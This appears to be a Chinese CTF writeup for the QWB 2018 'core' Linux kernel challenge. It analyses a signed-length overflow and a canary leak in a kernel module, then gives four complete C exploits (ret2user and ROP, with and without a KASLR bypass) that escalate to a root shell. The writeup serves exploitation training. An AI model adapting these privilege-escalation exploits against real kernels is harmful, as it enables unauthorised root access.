QWB-2018-core | 栈溢出

2024-02-13 23:44
文章标签 core 2018 溢出 qwb

本文主要是介绍QWB-2018-core | 栈溢出,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

题目分析

core_write

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{unsigned __int64 v3; // rbxv3 = a3;printk(&unk_215);if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )return (unsigned int)v3;printk(&unk_230);return 4294967282LL;
}

core_write:将用户态的内容写入内核态全局变量name中

core_ioctl

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{__int64 v3; // rbxv3 = a3;switch ( a2 ){case 0x6677889B:core_read(a3);break;case 0x6677889C:printk(&unk_2CD);off = v3;break;case 0x6677889A:printk(&unk_2B3);core_copy_func(v3);break;}return 0LL;
}

core_copy_func

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{signed __int64 result; // rax__int64 v2; // [rsp+0h] [rbp-50h]unsigned __int64 v3; // [rsp+40h] [rbp-10h]v3 = __readgsqword(0x28u);printk(&unk_215);if ( a1 > 63 ){printk(&unk_2A1);result = 0xFFFFFFFFLL;}else{result = 0LL;qmemcpy(&v2, &name, (unsigned __int16)a1);}return result;
}

core_copy_func:将signed __int64 a1,将name中a1长度拷贝到局部变量v2中

  • 这里有个问题,当a1是负数的时候,可以绕过if ( a1 > 63 )检测
  • qmemcpy(&v2, &name, (unsigned __int16)a1);取a1的低二字节作为长度,将name的内容写入到v2中

设置off

    case 0x6677889C:printk(&unk_2CD);off = v3;break;

可以通过ioctl,cmd为0x6677889C指定off

core_read

unsigned __int64 __fastcall core_read(__int64 a1)
{__int64 v1; // rbx__int64 *v2; // rdisigned __int64 i; // rcxunsigned __int64 result; // rax__int64 v5; // [rsp+0h] [rbp-50h]unsigned __int64 v6; // [rsp+40h] [rbp-10h]v1 = a1;v6 = __readgsqword(0x28u);printk(&unk_25B);printk(&unk_275);v2 = &v5;for ( i = 16LL; i; --i ){*(_DWORD *)v2 = 0;v2 = (__int64 *)((char *)v2 + 4);}strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");result = copy_to_user(v1, (char *)&v5 + off, 0x40LL);if ( !result )return __readgsqword(0x28u) ^ v6;__asm { swapgs }return result;
}

由于可以指定core_read,可以越界读取v5及其栈中的内容

利用方式

  • 经典的栈溢出漏洞
  • 先设置off,然后通过core_read读取canary
  • 再通过core_copy_func在栈上布局rop,提权

01_no_kaslr_ret2user

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(void){system("/bin/sh");
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}size_t prepare_kernel_cred = 0xffffffff8109cce0;
size_t commit_creds = 0xffffffff8109c8e0;void get_root()
{char* (*pkc)(int) = prepare_kernel_cred;void (*cc)(char*) = commit_creds;(*cc)((*pkc)(0));/* puts("[*] root now."); */
}int main()
{save_status();int fd = open("/proc/core",O_RDWR);set_off(fd, 0x40);size_t buf[0x40/8];core_read(fd, buf);size_t canary = buf[0];printf("[*]canary : %p\n", canary);size_t rop[0x30] = {0};rop[8] = canary ; // exp 相对于 poc 的差别// rop[10] = 0x4141414141414141;rop[10] = (size_t)get_root;rop[11] = 0xffffffff81a012da; // swapgs; popfq; retrop[12] = 0;rop[13] = 0xffffffff81050ac2; // iretq; ret;rop[14] = (size_t)get_shell; rop[15] = user_cs;rop[16] = user_rflags;rop[17] = user_sp;rop[18] = user_ss;write(fd, rop, 0x30 * 8);core_copy_func(fd, 0xffffffffffff0000 | (0x100));return 0;
}

02_no_kaslr_rop

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void spawn_shell()
{if(!getuid()){system("/bin/sh");}else{puts("[*]spawn shell error!");}exit(0);
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}size_t prepare_kernel_cred = 0xffffffff8109cce0;
size_t commit_creds = 0xffffffff8109c8e0;void get_root()
{char* (*pkc)(int) = prepare_kernel_cred;void (*cc)(char*) = commit_creds;(*cc)((*pkc)(0));/* puts("[*] root now."); */
}int main()
{save_status();int fd = open("/proc/core",O_RDWR);set_off(fd, 0x40);size_t buf[0x40/8];core_read(fd, buf);size_t canary = buf[0];printf("[*]canary : %p\n", canary);int i = 10;size_t rop[0x30] = {0};rop[8] = canary ; // exp 相对于 poc 的差别// rop[10] = 0x4141414141414141;// 通过 rop链执行 commit_creds(prepare_kernel_cred (0));rop[i++] = 0xffffffff81000b2f; // pop rdi; retrop[i++] = 0;rop[i++] = prepare_kernel_cred;// prepare_kernel_cred(0)rop[i++] = 0xffffffff810a0f49; // pop rdx; retrop[i++] = 0xffffffff81021e53; // pop rcx; retrop[i++] = 0xffffffff8101aa6a; // mov rdi, rax; call rdx; rop[i++] = commit_creds;rop[i++] = 0xffffffff81a012da; // swapgs; popfq; retrop[i++] = 0;rop[i++] = 0xffffffff81050ac2; // iretq; ret; rop[i++] = (size_t)spawn_shell;         // rip 返回到用户态后检查一下uid的值rop[i++] = user_cs;                     // csrop[i++] = user_rflags;                 // rflagsrop[i++] = user_sp;                     // rsprop[i++] = user_ss;                     // sswrite(fd, rop, 0x30 * 8);core_copy_func(fd, 0xffffffffffff0000 | (0x100));return 0;
}

03_kaslr_ret2user_exp

这里绕过kaslr,还是通过题目提供的/tmp/kallsyms获取的符号地址

// gcc -static ret2user_exp.c -masm=intel -o ret2user_exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(void){system("/bin/sh");
}size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */if(kallsyms_fd < 0){puts("[*]open kallsyms error!");exit(0);}char buf[0x30] = {0};while(fgets(buf, 0x30, kallsyms_fd)){if(commit_creds & prepare_kernel_cred)return 0;if(strstr(buf, "commit_creds") && !commit_creds){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);/* printf("hex: %s\n", hex); */sscanf(hex, "%llx", &commit_creds);printf("commit_creds addr: %p\n", commit_creds);vmlinux_base = commit_creds - 0x9c8e0;printf("vmlinux_base addr: %p\n", vmlinux_base);}if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);sscanf(hex, "%llx", &prepare_kernel_cred);printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);vmlinux_base = prepare_kernel_cred - 0x9cce0;/* printf("vmlinux_base addr: %p\n", vmlinux_base); */}}if(!(prepare_kernel_cred & commit_creds)){puts("[*]Error!");exit(0);}}void get_root()
{char* (*pkc)(int) = prepare_kernel_cred;void (*cc)(char*) = commit_creds;(*cc)((*pkc)(0));/* puts("[*] root now."); */
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}int main(void)
{find_symbols();size_t offset = vmlinux_base - raw_vmlinux_base;save_status();int fd = open("/proc/core",O_RDWR);set_off(fd, 0x40);size_t buf[0x40/8];core_read(fd, buf);size_t canary = buf[0];printf("[*]canary : %p\n", canary);size_t rop[0x30] = {0};rop[8] = canary ; rop[10] = (size_t)get_root;rop[11] = 0xffffffff81a012da + offset; // swapgs; popfq; retrop[12] = 0;rop[13] = 0xffffffff81050ac2 + offset; // iretq; ret;rop[14] = (size_t)get_shell; rop[15] = user_cs;rop[16] = user_rflags;rop[17] = user_sp;rop[18] = user_ss;puts("[*] DEBUG: ");getchar();write(fd, rop, 0x30 * 8);core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}

04_kaslr_rop_exp

// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>void spawn_shell()
{if(!getuid()){system("/bin/sh");}else{puts("[*]spawn shell error!");}exit(0);
}size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/* * give_to_player [master●●] check ./core.ko./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=54943668385c6573ec1b40a7c06127d9423103b3, not stripped[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'Arch:     amd64-64-littleRELRO:    No RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */if(kallsyms_fd < 0){puts("[*]open kallsyms error!");exit(0);}char buf[0x30] = {0};while(fgets(buf, 0x30, kallsyms_fd)){if(commit_creds & prepare_kernel_cred)return 0;if(strstr(buf, "commit_creds") && !commit_creds){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);/* printf("hex: %s\n", hex); */sscanf(hex, "%llx", &commit_creds);printf("commit_creds addr: %p\n", commit_creds);/** give_to_player [master●●] bpythonbpython version 0.17.1 on top of Python 2.7.15 /usr/bin/python>>> from pwn import *>>> vmlinux = ELF("./vmlinux")[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmlinux'Arch:     amd64-64-littleRELRO:    No RELROStack:    Canary foundNX:       NX disabledPIE:      No PIE (0xffffffff81000000)RWX:      Has RWX segments>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)'0x9c8e0'*/vmlinux_base = commit_creds - 0x9c8e0;printf("vmlinux_base addr: %p\n", vmlinux_base);}if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){/* puts(buf); */char hex[20] = {0};strncpy(hex, buf, 16);sscanf(hex, "%llx", &prepare_kernel_cred);printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);vmlinux_base = prepare_kernel_cred - 0x9cce0;/* printf("vmlinux_base addr: %p\n", vmlinux_base); */}}if(!(prepare_kernel_cred & commit_creds)){puts("[*]Error!");exit(0);}}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void set_off(int fd, long long idx)
{printf("[*]set off to %ld\n", idx);ioctl(fd, 0x6677889C, idx);
}void core_read(int fd, char *buf)
{puts("[*]read to buf.");ioctl(fd, 0x6677889B, buf);}void core_copy_func(int fd, long long size)
{printf("[*]copy from user with size: %ld\n", size);ioctl(fd, 0x6677889A, size);
}int main()
{save_status();int fd = open("/proc/core", 2);if(fd < 0){puts("[*]open /proc/core error!");exit(0);}find_symbols();// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;ssize_t offset = vmlinux_base - raw_vmlinux_base;set_off(fd, 0x40);char buf[0x40] = {0};core_read(fd, buf);size_t canary = ((size_t *)buf)[0];printf("[+]canary: %p\n", canary);size_t rop[0x1000] = {0};int i;for(i = 0; i < 10; i++){rop[i] = canary;}rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; retrop[i++] = 0;rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)// 关于 pop rcx; ret , call rdx的时候,会把 返回值push到栈中,需要把这个返回值弹走// 这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去:rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; retrop[i++] = 0xffffffff81021e53 + offset; // pop rcx; retrop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds;rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; retrop[i++] = 0;rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)spawn_shell;         // rip rop[i++] = user_cs;                     // csrop[i++] = user_rflags;                 // rflagsrop[i++] = user_sp;                     // rsprop[i++] = user_ss;                     // sswrite(fd, rop, 0x800);core_copy_func(fd, 0xffffffffffff0000 | (0x100));return 0;
}

这篇关于QWB-2018-core | 栈溢出的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/706942

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

2018秋招C/C++面试题总结

博主从8月中旬开始大大小小面试了十几家公司,至今也许是告一段落吧,希望后面会有好结果,因此总结记录一些C/C++方向常见的问题。和大家一起学习! 参考了互联网的各种资源,自己尝试归类整理,谢谢~ 一、C和C++的区别是什么? C是面向过程的语言,C++是在C语言的基础上开发的一种面向对象编程语言,应用广泛。 C中函数不能进行重载,C++函数可以重载 C++在C的基础上增添类,C是一个结构

大厂算法例题解之网易2018秋招笔试真题 (未完)

1、字符串碎片 【题目描述】一个由小写字母组成的字符串可以看成一些同一字母的最大碎片组成的。例如,“aaabbaaac” 是由下面碎片组成的:‘aaa’,‘bb’,‘c’。牛牛现在给定一个字符串,请你帮助计算这个字符串的所有碎片的 平均长度是多少。 输入描述: 输入包括一个字符串 s,字符串 s 的长度 length(1 ≤ length ≤ 50),s 只含小写字母(‘a’-‘z’) 输出描述

jupyter在加载pkl文件时报错ModuleNotFoundError: No module named 'pandas.core.internals.managers'; '的解决方法

笔者当看到这个错误的时候一脸懵逼,在pycharm上正常运行的code 放在jupyter就不成了,于是就研究一翻。 一开始以为自己的pkl文件有问题,研究重点放在这里,最后发现不是。 然后取搜索pycharm和jupyter下的python的\Lib\site-packages\pandas\core\internals有什么不同 发现jupyter下没有pandas\core\intern

vulhub GhostScript 沙箱绕过(CVE-2018-16509)

1.执行以下命令启动靶场环境并在浏览器访问 cd vulhub/ghostscript/CVE-2018-16509 #进入漏洞环境所在目录   docker-compose up -d #启动靶场   docker ps #查看容器信息 2.访问网页 3.下载包含payload的png文件 vulhub/ghostscript/CVE-2018-16509/poc.png at

C#/.NET/.NET Core推荐学习路线文档文章

前言 专门为C#/.NET/.NET Core推荐学习路线&文档&文章提供的一个Issues,各位小伙伴可以把自己觉得不错的学习路线、文档、文章相关地址分享出来🤞。 https://github.com/YSGStudyHards/DotNetGuide/issues/10 🏷️C#/.NET/.NET Core优质学习资料 📚.NET 入门教程 📚

ASP.NET Core 入门教学十七 GraphQL入门指南

GraphQL 是一种用于 API 的查询语言,允许客户端请求所需的数据,并能够合并多个资源到一个请求中。在 ASP.NET Core 中使用 GraphQL 可以提供更灵活、高效和实用的数据查询方式。以下是 ASP.NET Core 中 GraphQL 的入门指南: 1. 安装必要的 NuGet 包 首先,你需要安装以下 NuGet 包: GraphQLGraphQL.Server.Tra

堆内存溢出的测试类——JVM学习笔记

记个笔记,手写一个测试类,模拟堆内存溢出。 /*** 堆内存溢出测试类* VM Agrs: -Xms10m -Xmx10m -XX:+HeapDumpOnOutOfMemoryError* @author lixiang* @date 2019年04月12日 - 14:44* @history 2019年04月12日 - 14:44 lixiang create.*/public class

Python JAVA接口UTC 时间 '2018-08-06T10:00:00.000Z' 格式转化为本地时间

Python JAVA接口UTC 时间 '2018-08-06T10:00:00.000Z' 格式转化为本地时间 方法1 import datetimeorigin_date_str= "2019-07-26T08:20:54Z"utc_date = datetime.datetime.strptime(origin_date_str, "%Y-%m-%dT%H:%M:%SZ")loca

【UE4源代码观察】观察Core模块

话题 Core模块是整个引擎中最核心的模块,在之前的博客【UE4源代码观察】可视化所有模块的依赖情况中有统计,它被983个模块引用,恐怕除了第三方的模块外基本所有模块都有引用。我想首先观察其中的内容,然后再做测试:将Core模块拷贝到之前【UE4源代码观察】手动建立一个使用UBT进行编译的空白工程建立的空白工程中,看能否将它成功编译,理论上讲,“核心”不应再依赖太多其他的东西,所以我应该不会再需